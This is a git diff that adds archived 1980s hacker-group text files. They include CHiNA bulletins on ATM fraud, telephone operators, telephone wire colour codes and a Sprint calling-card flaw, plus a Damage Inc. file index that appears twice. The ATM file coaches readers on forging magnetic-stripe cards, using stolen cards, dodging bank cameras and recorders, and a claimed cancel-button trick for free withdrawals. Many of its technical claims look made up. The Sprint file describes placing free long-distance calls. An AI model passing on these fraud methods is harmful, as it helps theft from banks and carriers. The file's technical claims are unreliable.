100644 index 00000000..fafb2b15 Binary files /dev/null and b/textfiles.com/groups/CDC/visions.crusade differ diff --git a/textfiles.com/groups/CDC/yo.ramsacker b/textfiles.com/groups/CDC/yo.ramsacker new file mode 100644 index 00000000..30fd170e Binary files /dev/null and b/textfiles.com/groups/CDC/yo.ramsacker differ diff --git a/textfiles.com/groups/CDC/yo.s.ratte b/textfiles.com/groups/CDC/yo.s.ratte new file mode 100644 index 00000000..f6cf20b2 Binary files /dev/null and b/textfiles.com/groups/CDC/yo.s.ratte differ diff --git a/textfiles.com/groups/CHINA.1 b/textfiles.com/groups/CHINA.1 new file mode 100644 index 00000000..f6391a46 --- /dev/null +++ b/textfiles.com/groups/CHINA.1 @@ -0,0 +1,17 @@ + +T E X T F I L E S + +

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diff --git a/textfiles.com/groups/CHINA/china1.txt b/textfiles.com/groups/CHINA/china1.txt new file mode 100644 index 00000000..e3e539c8 --- /dev/null +++ b/textfiles.com/groups/CHINA/china1.txt @@ -0,0 +1,197 @@ + + + + + +-------------------------------+ + | | + | A. T. M. Fraud Made Easy | + | | + | summary and research by | + | Count Zero | + | | + | (A CHiNA Info-Net Prod) | + | | + +-------------------------------+ + +Have you ever looked longingly upon the sight of your local PULSE machine +and thought, "There must be some way that I can make some money REAL easy +here."? + +Well, there is. But it won't be easy. Protection methods can be overcome, +but the technology involved must be understood IN ITS ENTIRETY before an +attempt at illegal access is to be made. There are hundreds of people, +guests of the state, that figured their plans infallible, only to fall +victim to a well-hidden camera. + +This article will not be a lesson on HOW to break into the machine, it is +merely a summary of the operations involved with a normal ATM transaction. +This information is being presented on a "for information's sake"-only +basis. I, Count Zero, do not promote nor remotely condone any illegal +acts of any sort. So there. + + + +I. MAGNETIC STRIP FORMAT + +This would seem to be the most efficient method of trying to access illegal +sums of cash. You could: + + a. steal somebody's card and PIN code + b. synthesize a card + c. attempt to "jackpot" the system + +We will only look at option B. As "A" is up to your own devices and "C" has +several good text files written about it already. So "B" it is. + +Let's look at the format of the data written to the magnetic strips. This +has been taken from a recent HARTWELL, INC manual. + +[ XX XX XX XX XX XX XX XX ] [ YYYY ] [ - 20 CHARS - ] [ ZZ ZZ ZZ ] [ CC CC ] + \-----------------------/ \------/ \--------------/ \----------/ \-------/ + Your individual acct. PIN Name of card Bank route CHKSUM + number/serial code Code issuee code/rem. + access # + +For validation, each entry is written twice but not written here for +ease of typing. But it is repeated in the form of: +"ACCT NUM" "ACCT NUM" "PIN CODE" "PIN CODE" etc... + +These codes may be examined by building a simple code-reader as many +have done which can be easily interfaced to your IBM-PC. Full plans +to be put into a future CHiNA newsletter. + +If you were to attempt to write a magnetic strip or change a currently +existing one, you would need to be using a head-write circuit based on +the popular Motorola BCX119221-A...C series of head control chips. + +NOTE: Make sure to change the last 2 values! They constitute the +checksum of the entry. +Merely add all existing characters written (only the first entry, not both +of them) using the following chart: + + CHARACTER VALUE + -------------------------------- + 0..9 0..9 + A..Z 10..36 + EOL 37 + EOT 38 + CLR 39 + HMX 40 + PTT 41 + RIA-1 42 + RIA-2 43 + +I doubt anyone in the communications biz needs an explanation of these terms +so I'll move on. + + +II. ATM HARDWARE + +Usually consists of: + + ------------------------------------ + | | +\-----\ | B | +| A | | | +\-----\ ------------------------------------ + | | + | ----------- /---/ E | + | / / / / ---- | + | / C / / D / F | + | / / / / ---- | + | ------------ /---/ | + | | + ------------------------------------ + + +A. Camera Mount +B. Hidden Voice-Activated recorder & printout link +C. Display Monitor +D. Options buttons +E. Card Slot +F. Receipt Slot + +Your machine may vary slightly. But the concept will almost always hold true. +Simple rules for each. + +A. Wear a paper bag or mask. See also Part II A +B. Do NOT speak. This is the most crucial part! See also Part II A +C. Nothing +D. Wear gloves +E. See Part I +F. TAKE YOUR RECEIPT AND BURN IT!! + +One of the neat flaws in many machines made prior to 1989 involved the +use of the "CANCEL" button. This button was made to be pressed when the +user decided, at any time during the transaction, that he didn't wish +to continue. The display would jump immediately to: + +"TRANSACTION CANCELLED - CHOOSE ANOTHER?" + +This was all well and good, but the machines did not disable this feature +between the time your cash was dispensed and you were prompted for your +next activity. In effect, you could push the "CANCEL" button after your +money has been withdrawn and it would not be added to your account record! + +THIS STILL WORKS IN MANY PLACES! OVER 85% OF ALL MACHINES MADE BEFORE MAR. 1989 +STILL HAVE NOT BEEN UPGRADED. + +Although most machines of that period would only work if you were withdrawing +amounts larger than $20 (usually $25 is the next possible choice!) +This is ideal if you are using another's card! + + +II A. CAMERA/SOUND HARDWARE + +You can go other routes when dealing with camera systems. You do not have +to wear a bag on your head (unless the cosmetic improvement is quite large) +Thin alloy metal such as common aluminum/tin foil, which are full of impurities, +react in a bizarre way when photographed through the special lenses that are +commonly used. The effect is to "blur" or "bleed" the image, rendering it +indestinguishable from an accident in your local Sherwin-Williams store. +Most people prefer to make a "headband" of this metal, lined with copper +wire in a sine wave pattern when accosting a machine. You should +seriously consider this possibility! +For further reading on this subject, consult: + + BANKER'S WORLD - Apr 1989 + "Where Have All the Dollars Gone?" + pp 24-29 + + P. I. - Apr 1989 + "The Last Straw" + pp 37-41 (p 38 in particular has a nice + diagram. Fig 1) + + +Sounds, these articles also suggest an indirect method of dealing with the +voice-activated recording device. Oddly, a pure square wave tone (roughly +around 3100 hz) will cause a major screwup in the sound-sensing abilities +of the recorder. It usually will have to be replaced. Suggested volume, +given at 6" range is 8.5+ db. Obviously, anything louder will do. + +An interesting side-note is that this has become a past-time of suburban +teenagers! + +Well, hope this gets you started! More will be coming in the next +exciting file! + +---------------------------> OVER AND OUT! -----------> COUNT ZERO + +HAHAHAHA NAPPA IS A BUNCH OF FLY-BY-NIGHT LOSERS, EH CONFLICT?! + +Call us on: + + HYPERCARD BBS (406) 538-2101 + 1200/2400 BAUD +(CHiNA Node #3) SYSOP: GEORGE VON JUNGLE + + + FAWLTY TOWERS (202) 781-6420 + 2400 BAUD ONLY +(CHiNA Node #9) SYSOP: BASIL FAWLTY + +A big hello to: + Rubix the Cube, The Conflict, Monalisa Overdrive + +  \ No newline at end of file diff --git a/textfiles.com/groups/CHINA/china2.txt b/textfiles.com/groups/CHINA/china2.txt new file mode 100644 index 00000000..738c9177 --- /dev/null +++ b/textfiles.com/groups/CHINA/china2.txt @@ -0,0 +1,94 @@ +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + CHiNA Info-File : The 'Inward' Operators + +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + Well folks here is another file in the educational series of our releases. +Look for more files from The Egghead Dude, Mr. X and The Viper in the next +couple of weeks. + + + + +The Telephone concept of Inward is one of the things that modernization of the +network has essentially ended. + +Back in the days when lots of calls were operator handled, the Inward operator +was the operator who answered jacks labelled "Inward" on her position. In +some towns, this might be the same operator as the "Coin Collect" operator, +who would answer jacks labelled "Coin Collect" or as any other operator. + +In larger towns, there would be switchboards explicitly allocated to these +specialized services. In smaller towns, these services would appear on some +or all of the positions occupied by other operators. The "numbers" route for +non-dialable ring-downs would also have its own set of jacks. + +But now that modernization has arrived, and operators sit at computer consoles +rather than cord boards and are located hundreds of miles from the areas they +serve, the whole concept has essentially gone away. + +For example, New England Telephone serves Massachusetts, Rhode Island, Vermont, +New Hampshire, and Maine with operators connected to switching systems in +Springfield MA, Cambridge MA, Framingham MA, Hanover MA, Lawrence MA, and +Manchester NH. Most operators are not near these switching systems. They are +in Fall River MA, Brockton MA, Quincy MA, Keene MA, Newburyport MA, Springfield +MA, Marlboro MA, E. Providence RI, Portland ME, Dover NH, Keene NH, and +Brattleboro VT. + +The long distance carriers are also drastically reducing the ubiquity of +operators. In testimony before the Mass DPU, a competitor of AT&T claimed that +AT&T planned to concentrate its operators in five nationwide operating centers. + +The operators don't really have any special sort of connection to the central +offices except when they are performing coin collect functions or busy number +verification. Some reasons a call might go through when placed through an +operator when it didn't work when dialled are: + + 1. You dialled via one carrier and then used an operator from a + different carrier. + 2. Your local central office has a problem translating the area + code or area code and first three digits. + 3. Your local operating company has a translation problem in its + access tandem. + 4. The long distance carrier has a translation problem in the + toll switching machine serving your central office, but when + you're connected to an operator, you end up using a different + toll switching machine for the call. + +Basically, the only reason the operator gets through when you don't is that +the call may be placed through different switching systems along the way. + +Inward almost doesn't exist any more. Except when calling an area served by +one of a very few independent telcos with their own operators, AT&T operators +who call Inward are going to reach another AT&T operator. In no case will an +AT&T operator calling Inward reach a local Baby Bell operator. Only in the +case of the completing calls to non-diallable points (and there are thousands +of them left, especially in California), will an AT&T operator end up on a +Baby Bell toll board, but this isn't Inward. The Inward route (rather than +the proper "numbers" route) for such places would end up on an AT&T board which +would have to call the "numbers" route. + +This means that if I make a call from Boston via the AT&T operator for help in +calling Montpelier VT, and the operator tries Inward, this means the AT&T (not +New England Telephone) operator for Montpelier, who might be sitting at the +operator position right next to her! + +It also means that if I want to call a pay phone in Montpelier collect, AT&T +can't do it anymore, because they can't reach a telco operator. AT&T will call +the pay phone and say that someone's trying to call collect and ask the party +to call back 1+. + + +Written by: Egghead Dude Edited by: Maxwell Smart + + A moment of silence for the dead : Mickey Leland, Bart Giamatti and of + course the good old boys in 301. + + Hellos to : Commander Sozo, Master Ryu, The Oxidixer, Jolly Green Giant, + Celtic Phrost and The Genetic Terrorist. + + Also to : Lord Blix, The Viper, Software Surgeon, The Guch, The Knack and + all the rest of those 'nifty' guys of the FiRM + + \ No newline at end of file diff --git a/textfiles.com/groups/CHINA/china5.txt b/textfiles.com/groups/CHINA/china5.txt new file mode 100644 index 00000000..e7395a6c --- /dev/null +++ b/textfiles.com/groups/CHINA/china5.txt @@ -0,0 +1,116 @@ + ============================================================================ + | | + | Pacific Bell's Corrupt Fun! | + | August 16, 1989 | + | CHiNA CHiNA | + ============================================================================ + + Welcome to CHiNA Educational InfoFile Series II, # 4. Enjoy. + Sorry, no cutesy intro here...funny how Meg says CHiNA's dead, and we've + only had four NEW releases in the past two weeks...mighty strange, eh? + + + The following article is from the L.A. Times. It describes a claim by + an operator of a local 'talking yellow pages' that Pacific Bell is + intentionally disrupting his Centrex service. There have been other claims + against PacBell, such as a telephone installer who claims PacBell + intentionally botched his company's ad that was placed in the yellow pages + for the past two or three years. + + + Rival Claims PacBell Gave It A 'Virus' + Owner of Talking Yellow Pages Says Phones Often Go Dead + + By Bruce Keppel, Times Staff Writer + + To Michael Amin, it seemed a natural: A 'talking' phone book for + people who would rather deal with the operator than finger through the + yellow pages. + + So, Amin set up a Los Angeles-based firm, Primex Talking Yellow + Pages, to provide callers a choice of whatever category of company or + service the request- for example, a selection of physicians of a given + specialty and working in a particular area. The Primex operator can + connect the caller with the doctor he or she wants. + + But the hang-up for Amin has been Pacific Bell. + + The phone company says it has been unable to find the electronic + 'virus' that, for 18 months, has bedeviled Primex. The result for Primex + has been to have many of its 36 telephone lines go dead at crucial + moments--such as right after broadcast of television and radio commercials + inviting the audience to call for a trial. + + Don't Know the Cause + -------------------- + At other times, Amin said, conversations are cut off in mid-sentence. + And sometimes callers hear ringing while Primex operators hear nothing or, + answering a ring, find no one on the line. + + Despite extensive testing by Pacific Bell technicians, who say they + don't know the cause of Primex's problems, the company's phone troubles + have persisted for 18 months. Amin said they now threaten Primex's + pioneering venture, which competes with Pacific Bell's yellow page + directories. He noted that Pacific Bell and other former Bell companies + have repeatedly--and vainly--sought court permission to enter the talking + phone book business. + + Last month, Amin lodged a formal complaint with the California Public + Utilities Commission, whose consumer division expects to compete its + evaluation this month. + + Meanwhile, the PUC's five members held a final in San Francisco on + Monday to hear from businesses such as Primex before deciding to accept + proposals submitted separately by Pacific Bell and GTE California, to + change telecommunications regulation in the state. + + Amin and other telephone industry entrepreneurs have complained that + giving the big phone companies more flexibility might clear the way for + Pacific Bell and GTE to use dirty tricks and other unfair practices to + drive competitors out of business. + + For instance, Dennis Love has testified before the Assembly Committee + on Utilities and Commerce that his Marin County telephone-equipment repair + service failed after advertisements bought in Pacific Bell's local phone + books were botched in two of the last three years. + + In Amin's case, the business is still running, although the number of + employees has plunged to 30 from a high of 70 when the company moved to + larger quarters near Los Angeles International Airport. That day, Feb. 1, + 1988, the young company's local telephone service unaccountably went + haywire, Amin said. + + Deliberate Tampering + -------------------- + In it's complaint, Primex accuses Pacific Bell of indulging in + 'illegal harassment' and 'deliberate tampering' with the company's phone + lines, most of which are attached to a Pacific Bell Centrex control unit. + The goal, the complaint charges, is to destroy the company's business. + Amin attached several pages of single-spaced entries chronicling scores of + service irregularities and said he has many more on file. + + Pacific Bell spokeswomen Kathleen Flynn confirmed the existence of + repeated complaints by Primex but said that 2400 tests have so far turned + up no glitch in the phone company's equipment. Flynn said 99.8% of Pacific + Bell's test calls went through without a hitch. + + 'There's no reason for us at any time and at any case to disrupt a + customer's business,' she said. 'That's just not the way we do business.' + + But Amin disputed the validity of that finding. When he asked Pacific + Bell last month to monitor one day's phone traffic for his firm, he said, + the utility found that 41% of the calls lasted less than 15 seconds--too + brief, he said, to be completed business calls. + + Written by: Egghead Dude + Golf City BBS + CHiNA Node #5 + + What do Mickey Leland, Elvis Presley, Len Bias, Gilda Radner, + John Belushi, Mel Blanc, Lucille Ball, John F. Kennedy, Christie + MacAuliffe, Marilyn Monroe, Doctor Reverend Martin Luther King Junior, and + the boys from 301 have in common? + ** EASY, THEY'RE ALL DEAD! ** + + + \ No newline at end of file diff --git a/textfiles.com/groups/CHINA/china7.txt b/textfiles.com/groups/CHINA/china7.txt new file mode 100644 index 00000000..e7ed763c --- /dev/null +++ b/textfiles.com/groups/CHINA/china7.txt @@ -0,0 +1,187 @@ + *************************************************************************** + * * + * The Telephone Works * + * Egghead Dude * + * CHiNA CHiNA * + *************************************************************************** + + Welcome to CHiNA Educational InfoFile Series II, # 3. Once again, + be looking for new files weekly for the next few weeks until school starts + again. And contrary to Megaton Man's belief, we are still very much alive + and in production. If he tells you otherwise, kindly call him a peasant + and tell him to fuck himself...if you want. Enjoy! + + +Here are the standards in Telephone Color Coding: + + Telephone circuits are paired as 'tip' and 'ring' wires. On POTS + (plain old telephone service) tip is 0 volts and ring is -48 volts (tip is + not 'ground' though as it is a blanced line). The pairs must be + distinguishable from one another easily so they are colour coded. The + colour of the wire indicates whether it is tip or ring. In a quad wire + green and black are tip while red and yellow are ring. + + pair# tip colour ring colour + _____ __________ ___________ + + 1 white blue + 2 white orange + 3 white green + 4 white brown + 5 white slate (silver) + 6 red blue + 7 red orange + 8 red green + 9 red brown + 10 red slate + 11 black blue + 12 black orange + 13 black green + 14 black brown + 15 black slate + 16 yellow blue + 17 yellow orange + 18 yellow green + 19 yellow brown + 20 yellow slate + 21 violet (purple) blue + 22 violet orange + 23 violet green + 24 violet brown + 25 violet slate + + An individual wire is identified by it's colour and the colour of + it's stripe. The main colour determines whether it is tip or ring while + the stripe identifies it's pair (i.e. a black wire with a blue stripe is + tip of pair 11). In many cables the stripe is missing in which case the + pairs are distinguished by the way they are twisted, by pulling back the + sheath pairs are more obvious. + + As you can see there are only 5 tip colors and 5 ring colours (5 + x 5 = 25). a 100 pair cable is made up of four of these 25 pair bundles. + The first bundle is wrapped by a white/blue binder string, the second by a + white/orange binder, the third by a white/green and the fourth by a + white/brown. This scheme can be extended infinitum. + + Some folks think that the order is: + Pair Tip Ring + 1 RED GRN + 2 YEL BLK + 3 BLU WHT, + and that the 1st pair was backwards in a modular connector compared to the + rest. + + Wrong. The polarity is off. Modular connectors reverse the polarity + so they make the issue pretty confusing. A modular line cord (that is a + properly made _telephone_ line cord) has a flat topology such that when + laid on a table the top of both connectors is up. This means that a + reversal (polarity wise) takes place. Tip becomes ring on all pairs (the + wire is a ribbon in theory). the top of both connectors is up. A 'set' + jack (the one inside the telephone) is wired backwards to compensate. + + In addition, the system employed throughout the (used-to-be) Bell + System was actually very simple. There wer five colors assigned to "tip" + and five colors assigned to "ring". This gives a total combination of + twenty-five pairs (very convenient!). + + The colors assigned to the "tip" are; + + white wt + red rd + black bk + yellow yl + violet vi + + The colors assigned to the "ring" are; + + blue bl + orange or + green gr + brown br + slate sl (sometimes mistakenly called gray) + + Standard phone convention is to identify the "tip" first and then the + "ring" when referring to a pair. Thus, the first five pairs of a telephone + cable are the "white" pairs; + + white/blue wt/bl + white/orange wt/or + white/green wt/gr + white/brown wt/bn + white/slate wt/sl + + The next five are the "red" pairs: + + red/blue rd/bl + red/orange rd/or + red/green rd/gr + red/brown rd/bn + red/slate rd/sl + + And so on, until all twenty five pairs are identified. What happens + when there are more than twenty-five pairs in a cable? Simple, enclose + each twenty-five pair group in a color coded binder. And guess what the + color coding is for the binder. Yep, the same as the wires in the binder. + The first binder group is the "white/blue" binder the second is the + "white/orange" binder, and so on. If it is necessary to refer to the + twenty-sixth pair of a fifty pair cable it is referred to as "two + white/blue" or 2-wt/bl. The seventy-ninth pair in a one-hundred pair cable + is called "four white/brown" or 4-wt/bn. This all holds true for the first + twenty-four binders in a cable. The twenty-fifth binder is a little + different, and my recollection is a little hazy but I believe the binder + colors are white-white-blue. Yes that's two whites and a blue. It might be + two blues and a white. It's been a long time since I was in a cable over + six hundred pairs. One thing I know for sure is that they double up on one + of the binder colors after the twenty-fourth binder group. + + There is also a convention for the positioning the pairs on + connecting blocks. The Ring is usually on the Right and the Tip is + usually on the Top. As you can see there is a pattern here, Ring-Red- + Right and Tip-Top. I guess this was done to make it easier for us dumb + installers to remember! |-) + + The only difference in the color coding between telephone cable (the + stuff used outside and strung along poles or underground in conduit) and + telephone inside wiring (the gray colored stuff in the walls and up in the + ceiling) is that the inside wire has each pair traced with the color of + its mate. That is, the first pair is a white wire with a blue tracer and + its mate is blue with a white tracer. This is done to avoid "splitting" a + pair. Splitting is getting the ring of one pair and the tip of another. + In outside phone cable each pair is twisted with its mate and the chances + of splitting a pair are not as great (although it's been known to happen + ;-)). + + With wiring done inside a house, a little history is in order. Back + when we had party-lines,(I know, we still do, but very few still in + service and none available for new service) three wires were necessary + because a ground was required to make the bell ring. So, the original + phone wiring had three conductors, red, green and yellow. Red and green + were ring and tip respectively and yellow was the ground. Then people + started getting away from party lines and into princess and trimline + phones with lights in the dial. The yellow was no longer the ground and a + black wire was added and the yellow and black were used to supply power + for the lamps from a small transformer. Time marches on, and now people + are getting second lines installed in their homes. Since the new phones + get the power for their lamps from the phone line directly, the yellow + and black are now "spare". The yellow is usually the ring and black is + the tip. Of course, houses that have been pre-wired with six-pair inside + wire would normally have line 1 on the white/blue pair and line 2 on the + white/orange pair. In many pre-wire installations I have found that the + sixth pair (red/blue) was used for transformer power, although I don't + believe that was ever an official practice. + + Written by: Egghead Dude Edited by: The Conflict + Golf City BBS + CHiNA Node #5 + + Hope you enjoyed this one, and once again, look for more! Please + distribute this file freely, and if you really must speak to CHiNA, + contact us on one of our member boards (a node list should be available + wherever you receieved this file). Thanks for you support! + + A big HELLO to Mr. X, The Maestro, Barimor (hear you're doing wonders + for the FiRM!), Jolly Green Giant, Feetsack, Lord Blix, Maxwell Smart, The + Viper, etc...if you want to be said HELLO to, too bad, we don't like you! + Really...we'll be seeing you! + + \ No newline at end of file diff --git a/textfiles.com/groups/CHINA/china8.txt b/textfiles.com/groups/CHINA/china8.txt new file mode 100644 index 00000000..d54adbc9 --- /dev/null +++ b/textfiles.com/groups/CHINA/china8.txt @@ -0,0 +1,42 @@ +============================================================================== + + CHiNA InfoFile on: + Remembrances of US Sprint +============================================================================== + + + This is file number two in the series of informative + CHiNA files, and file number seven in the entire CHiNA series. + Please distribute this, and thanks for your time and support. + + + We have often heard of Sprint's ultra-cautious handling of its accounts + and security measures and redlining, etc., has reminded me of the first days + of the FO(O)NCARD service. As soon as the 800 877 8000 number was working in + southern California it didn't take some people long to find out that the + cheapest long distance rates were currently being provided by Sprint. + + This is how it worked: Dial 800 887 8000. Dial 0 plus the telephone + number. When you hear the tone dial 14 digits. Oh, any digits, even all 1s + if you like. "Beep-beep" and the call goes through. This "service" lasted + for many, many weeks. The more enlightened users of this arrangement only + used pay phones, realizing that the number of the calling phone was being + transmitted to Sprint, but for a while it was indeed the cheapest long + distance anywhere. + + That's progress. From having the biggest hole in all of telephony to + turning off legitimate subscribers because too many (or not enough) calls are + being made. Are they learning on our nickel? + + + + Written by: Egghead Dude + SysOp of : Golf City BBS + CHiNA Node #5 + + Once again, hello to everyone. No boring stupid goodbye + here. I hope you enjoy these files, and leave a message for + us on any CHiNA node if the need arises that you must speak + with us...bye for now... +============================================================================== + \ No newline at end of file diff --git a/textfiles.com/groups/DAMAGEINC.1 b/textfiles.com/groups/DAMAGEINC.1 new file mode 100644 index 00000000..cdd0ef9f --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC.1 @@ -0,0 +1,84 @@ + +T E X T F I L E S + +

Groups: Damage, Incorporated

+

+BLACKENED's group of telecommunications enthusiasts have been creating +telephone scanning lists, newsletters, and poetry since 1993. This collection +comes courtesy of his efforts, which are greatly appreciated. +A large portion of these files are the Damage, Inc. Newsletter, which pulls +away any individal textfiles they might be working on and puts them into an +easy to find (and read) collection. Solid telephone information and great +to see them at it after so many years. +

+ + + + + +
+
Filename
Size
Description of the Textfile
16hours.txt 2730
Poetic Rantings by Blackened of Damage, Inc. (2001) +
225-5xxx.txt 18016
1-800-225-5XXX Phone Number Scan +
465-11xx.txt 3537
1-800-465-11XX Scan +
465-99xx.txt 3729
1-800-465-99XX Scan +
800bell.txt 14503
1-800-XXX-BELL Scan +
861-21xx.txt 3947
1-800-861-21XX Scan +
861-99xx.txt 3422
1-800-861-99XX Scan +
877bell.txt 11323
1-877-XXX-BELL Scan +
888bell.txt 12954
1-888-XXX-BELL Scan +
acronyms.txt 54325
The Damage, Inc. List of Acronyms v1.0 (1998) +
aquila.txt 3306
Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc. +
bigbro.txt 2961
Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000) +
chaos.txt 3855
Chaos and Madness (Poem) by BLACKENED +
dam00spr.txt 130410
The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000) +
dam00sum.txt 143175
The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000) +
dam00win.txt 94854
The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000) +
dam01win.txt 145581
The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001) +
dam99fal.txt 80840
The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999) +
dam99spr.txt 50010
The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999) +
dam99sum.txt 61285
The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999) +
damage.001 73055
Damage Incorporated Newsletter Issue #1 (September 1997) +
damage.002 66689
Damage Incorporated Newsletter Issue #2 (October, 1997) +
damage.003 68586
Damage Incorporated Newsletter Issue #3 (November, 1997) +
damage.004 54540
Damage Incorporated Newsletter Issue #4 (December, 1997) +
damage.005 93250
Damage Incorporated Newsletter Issue #5 (January, 1998) +
damage.006 78855
Damage Incorporated Newsletter Issue #6 (February, 1998) +
damage.007 95640
Damage Incorporated Newsletter Issue #7 (March, 1998) +
damage.008 117500
Damage Incorporated Newsletter Issue #8 (April, 1998) +
damage.009 127815
Damage Incorporated Newsletter Issue #9 (May, 1998) +
damage.010 125880
Damage Incorporated Newsletter Issue #10 (July, 1998) +
damage.011 115145
Damage Incorporated Newsletter Issue #11 (August, 1998) +
damage.012 172585
Damage Incorporated Newsletter Issue #12 (October, 1998) +
damage.013 138080
Damage Incorporated Newsletter Issue #13 (December 24, 1998) +
damage.014 181130
Damage Incorporated Newsletter Issue #14 (February 26th, 1999) +
damage.015 191920
Damage Incorporated Newsletter Issue #15 (May 31, 1999) +
damage.016 177510
Damage Incorporated Newsletter Issue #16 (July 31, 1999) +
damage.017 252175
Damage Incorporated Newsletter Issue #17 (January 20, 2000) +
damage.018 361195
Damage Incorporated Newsletter Issue #18 (June 30th, 2000) +
damage.019 205450
Damage Incorporated Newsletter Issue #19 (January 1, 2001) +
damage.faq 21534
Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20 +
damloops.txt 3715
416/905 Loops Listing (April 2000) +
dnic.txt 32810
Data Network Identification Codes +
gratte.txt 24399
Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001) +
ifonly.txt 2889
Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000) +
intcodes.txt 10904
Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001) +
mci.nfo 179230
MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet +
myheart.txt 3180
Poetic Rantings: My Heart Beats for You +
nowhere.txt 3630
Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001) +
npa.txt 12782
The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001) +
odedi.txt 2974
An Ode to Damage, Incorporated, by THC Phreak (1998) +
pages.txt 3380
Poetic Rantings; Blank Pages Revealing Tears +
phreaky.txt 3556
Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless +
propagan.txt 3001
Poetic Rantings: Propagandize +
silicon.txt 2645
Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001) +
soldier.txt 2105
Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000) +
sprint.nfo 40000
SprintNet Local Access Numbers +
stilldi.txt 2768
Still Damage, Inc (Poem) by THC Phreak (2000) +
terror.txt 3345
Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001) +
theend.txt 4730
Poetic Rantings: The End of Truth +
voice.txt 5315
The Voice of the Monopoly (Poem) by BLACKENED (2000) +
xxx-2255.txt 13329
1-800-XXX-2255 Scan +
zombie.txt 4167
A Pathetic Zombie Race (Poem) +

There are 62 files for a total of 3,928,151 bytes.
+

+ diff --git a/textfiles.com/groups/DAMAGEINC/.windex.html b/textfiles.com/groups/DAMAGEINC/.windex.html new file mode 100644 index 00000000..64f6937c --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/.windex.html @@ -0,0 +1,84 @@ + +T E X T F I L E S + +

Groups: Damage, Incorporated

+

+BLACKENED's group of telecommunications enthusiasts have been creating +telephone scanning lists, newsletters, and poetry since 1993. This collection +comes courtesy of his efforts, which are greatly appreciated. +A large portion of these files are the Damage, Inc. Newsletter, which pulls +away any individal textfiles they might be working on and puts them into an +easy to find (and read) collection. Solid telephone information and great +to see them at it after so many years. +

+ + + + + +
+
Filename
Size
Description of the Textfile
16hours.txt 2730
Poetic Rantings by Blackened of Damage, Inc. (2001) +
225-5xxx.txt 18016
1-800-225-5XXX Phone Number Scan +
465-11xx.txt 3537
1-800-465-11XX Scan +
465-99xx.txt 3729
1-800-465-99XX Scan +
800bell.txt 14503
1-800-XXX-BELL Scan +
861-21xx.txt 3947
1-800-861-21XX Scan +
861-99xx.txt 3422
1-800-861-99XX Scan +
877bell.txt 11323
1-877-XXX-BELL Scan +
888bell.txt 12954
1-888-XXX-BELL Scan +
acronyms.txt 54325
The Damage, Inc. List of Acronyms v1.0 (1998) +
aquila.txt 3306
Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc. +
bigbro.txt 2961
Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000) +
chaos.txt 3855
Chaos and Madness (Poem) by BLACKENED +
dam00spr.txt 130410
The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000) +
dam00sum.txt 143175
The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000) +
dam00win.txt 94854
The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000) +
dam01win.txt 145581
The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001) +
dam99fal.txt 80840
The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999) +
dam99spr.txt 50010
The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999) +
dam99sum.txt 61285
The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999) +
damage.001 73055
Damage Incorporated Newsletter Issue #1 (September 1997) +
damage.002 66689
Damage Incorporated Newsletter Issue #2 (October, 1997) +
damage.003 68586
Damage Incorporated Newsletter Issue #3 (November, 1997) +
damage.004 54540
Damage Incorporated Newsletter Issue #4 (December, 1997) +
damage.005 93250
Damage Incorporated Newsletter Issue #5 (January, 1998) +
damage.006 78855
Damage Incorporated Newsletter Issue #6 (February, 1998) +
damage.007 95640
Damage Incorporated Newsletter Issue #7 (March, 1998) +
damage.008 117500
Damage Incorporated Newsletter Issue #8 (April, 1998) +
damage.009 127815
Damage Incorporated Newsletter Issue #9 (May, 1998) +
damage.010 125880
Damage Incorporated Newsletter Issue #10 (July, 1998) +
damage.011 115145
Damage Incorporated Newsletter Issue #11 (August, 1998) +
damage.012 172585
Damage Incorporated Newsletter Issue #12 (October, 1998) +
damage.013 138080
Damage Incorporated Newsletter Issue #13 (December 24, 1998) +
damage.014 181130
Damage Incorporated Newsletter Issue #14 (February 26th, 1999) +
damage.015 191920
Damage Incorporated Newsletter Issue #15 (May 31, 1999) +
damage.016 177510
Damage Incorporated Newsletter Issue #16 (July 31, 1999) +
damage.017 252175
Damage Incorporated Newsletter Issue #17 (January 20, 2000) +
damage.018 361195
Damage Incorporated Newsletter Issue #18 (June 30th, 2000) +
damage.019 205450
Damage Incorporated Newsletter Issue #19 (January 1, 2001) +
damage.faq 21534
Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20 +
damloops.txt 3715
416/905 Loops Listing (April 2000) +
dnic.txt 32810
Data Network Identification Codes +
gratte.txt 24399
